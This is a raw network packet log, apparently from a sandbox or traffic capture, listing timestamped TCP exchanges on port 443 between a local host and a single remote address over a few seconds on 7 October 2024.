Oct 7, 2024 06:44:55.619699001 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.620265961 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.620270967 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.719149113 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.719212055 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.719276905 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.719537973 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.719553947 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.719563961 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.719569921 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.722440958 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.722480059 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.722553015 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.722728014 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.722742081 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.876817942 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.877444983 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.877476931 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.878062963 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.878067970 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.976489067 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.976561069 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.976636887 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.976651907 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.976671934 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.976735115 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.976882935 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.976901054 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.976911068 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.976917028 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.980067968 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.980123043 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.980216026 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.980355978 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.980365992 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.069014072 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.069555998 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.069581985 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.070161104 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.070167065 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.074901104 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.075161934 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.075187922 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.075632095 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.075639009 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.138658047 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.139134884 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.139157057 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.139626980 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.139635086 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.171515942 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.171888113 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.171984911 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.172013044 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.172013044 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.172030926 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.172041893 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.174758911 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.174823999 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.174870968 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.175628901 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.175662041 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.175736904 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.175877094 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.175895929 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.175906897 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.175911903 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.175939083 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.175952911 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.178368092 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.178395033 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.178472996 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.178622007 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.178636074 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.237071991 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.237128019 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.237204075 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.237232924 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.237267971 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.237313032 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.237463951 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.237478971 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.237488031 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.237493992 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.240411043 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.240457058 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.240536928 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.240685940 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.240695953 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.352008104 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.353008986 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.353032112 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.353878021 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.353883028 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.451395988 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.451493025 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.451540947 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.451709032 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.451731920 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.451746941 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.451752901 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.454766035 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.454807043 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.454869986 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.455002069 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.455012083 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.655951023 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.656384945 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.656393051 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.656825066 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.656830072 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.764610052 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.764662027 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.764759064 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.764770985 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.764791965 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.764837980 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.765022993 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.765036106 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.765047073 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.765050888 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.768037081 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.768071890 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.768142939 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.768317938 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.768332005 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.808594942 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.809098005 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.809114933 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.809544086 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.809549093 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.812184095 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.812546968 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.812601089 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.812999010 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.813014030 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.885971069 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.886503935 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.886531115 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.887116909 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.887121916 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.906820059 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.906855106 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.906925917 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.906928062 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.906972885 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.907155991 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.907172918 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.907182932 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.907187939 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.909946918 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.909981966 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.910047054 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.910182953 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.910192966 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.911468029 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.911484957 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.911530972 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.911576033 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.911633968 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.911674976 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.911732912 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.911763906 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.911792994 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.911808014 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.914701939 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.914726973 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.914894104 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.914894104 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.914918900 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.984985113 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.985047102 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.985117912 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.985145092 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.985241890 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.985304117 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.985424042 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.985443115 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.985454082 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.985460043 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.988348961 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.988370895 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:56.988451004 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.988598108 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:56.988609076 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.087691069 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.088284016 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.088300943 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.088897943 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.088901997 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.186810970 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.186856031 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.186913013 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.187105894 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.187114000 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.187123060 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.187127113 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.190346003 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.190372944 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.190440893 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.190584898 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.190589905 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.426696062 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.427154064 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.427182913 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.427603960 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.427613974 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.526740074 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.526891947 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.526957035 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.527273893 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.527293921 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.527304888 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.527309895 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.534426928 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.534528017 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.534612894 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.535422087 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.535455942 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.553788900 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.554219961 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.554238081 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.554800034 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.554805994 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.557918072 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.558293104 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.558304071 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.558856964 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.558861971 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.655369997 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.655459881 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.655514002 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.655685902 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.655700922 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.655714035 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.655719995 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.657434940 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.658158064 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.658183098 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.658606052 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.658704042 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.658705950 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.658710957 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.658787966 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.658932924 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.658956051 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.658988953 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.659080029 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.659122944 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.659193039 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.659202099 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.659214973 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.659225941 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.661547899 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.661592960 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.661679983 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.661838055 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.661853075 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.759682894 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.759741068 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.759813070 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.759844065 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.759866953 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.759886026 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.759916067 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.760096073 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.760113955 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.760123968 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.760128975 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.763195038 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.763243914 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.763334990 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.763485909 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.763490915 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.852829933 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.874784946 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.874798059 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.875224113 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.875228882 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.974387884 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.974420071 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.974493980 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.974512100 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.974524021 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.974577904 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.974793911 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.974793911 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.974812984 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.974821091 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.977638960 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.977672100 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:57.977739096 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.977875948 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:57.977895975 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.189485073 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.189918995 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.189949036 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.190359116 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.190363884 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.292185068 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.292260885 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.292309046 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.292359114 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.292387009 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.292463064 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.292521000 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.323859930 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.324476957 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.324498892 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.324928999 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.324939013 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.327336073 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.327596903 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.327630997 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.327902079 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.327908039 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.378891945 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.378958941 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.378972054 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.379018068 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.379067898 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.379101992 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.379123926 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.379131079 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.381762028 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.381799936 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.381867886 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.381984949 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.381990910 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.429302931 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.429373026 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.429389954 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.429428101 CEST	49979	443	192.168.2.5	13.107.246.45
